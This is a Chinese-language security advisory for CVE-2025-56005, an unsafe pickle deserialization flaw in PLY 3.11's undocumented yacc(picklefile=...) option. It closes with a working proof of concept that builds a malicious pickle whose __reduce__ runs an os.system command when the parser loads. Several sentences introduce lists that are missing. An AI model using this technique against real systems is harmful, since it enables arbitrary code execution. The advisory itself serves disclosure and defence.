CVE ID: CVE‑2025‑56005
披露日期: 2025年7月1日
受影响产品: PLY (Python Lex‑Yacc)
受影响版本: 3.11 (PyPI 发行版)
供应商: PLY (Python Lex‑Yacc)
受影响组件:** ply/yacc.py` — `LRTable.read_pickle()` 通过 `yacc(picklefile=...)`
PyPI 发行的 PLY 3.11 版本中存在一个未记录且不安全的特性，当 yacc() 函数使用 picklefile 参数调用时，允许任意代码执行。
picklefile 参数导致 PLY 使用 Python 的 pickle.load() 未经任何验证地反序列化 .pkl 文件。由于 Python 的 pickle 模块支持在反序列化期间执行任意代码（例如通过 __reduce__()），能够控制所提供 pickle 文件的攻击者可以在解析器初始化期间执行任意代码。
该参数在官方 PLY 文档或 GitHub 仓库中未记录，但在 PyPI 发行版中处于活动状态。
如果攻击者能够控制、替换或影响传递给 yacc(picklefile=...) 的 .pkl 文件，他们可以实现：
这可能影响从以下位置加载解析器表的应用程序：
ply.yacc.yacc(picklefile=...)ply/yacc.py 中的 LRTable.read_pickle()该漏洞由于其隐蔽性和持久化潜力而具有较高风险。
picklefile 参数在官方 PLY 文档和 GitHub 仓库中未记录。然而，PyPI 发行的 PLY 3.11 版本包含此功能，并使用 pickle.load() 未经验证地处理所提供的文件。
由于 Python 的 pickle 模块允许在反序列化期间执行嵌入代码，恶意 pickle 文件可以在解析器设置期间、在任何解析逻辑被调用之前执行任意代码。
在撰写本文时，维护者尚未公开承认此行为。
此功能可被滥用来引入持久性后门，特别是在解析器表文件满足以下条件的环境中：
鉴于缺乏文档、静默执行路径以及不安全反序列化的高影响，分配 CVE 是合理的，以提高认识并保护下游用户。
此概念验证演示了当通过未记录的 picklefile 参数提供恶意 pickle 文件时，如何实现任意代码执行。
该 PoC：
当调用 yacc(picklefile='exploit.pkl') 时，任意代码在解析器初始化期间被执行。
import pickle
import os
from ply.lex import lex
from ply.yacc import yacc
tokens = ('EXAMPLE',)
def t_EXAMPLE(t):
r'example'
return t
def p_sample(p):
'sample : EXAMPLE'
pass
class Exploit:
def __reduce__(self):
cmd = 'touch /tmp/pwned && echo "VULNERABLE" > /tmp/pwned'
return (os.system, (cmd,))
malicious_data = {
'_tabversion': '3.11',
'_lr_action': {0: {}},
'_lr_goto': {0: {}},
'_lr_productions': [
(None, 0, 0, 0, Exploit())
],
'_lr_method': 'LALR'
}
with open('exploit.pkl', 'wb') as f:
pickle.dump(malicious_data, f)
parser = yacc(picklefile='exploit.pkl', debug=False, write_tables=False)
parser.parse('example')
picklefile 参数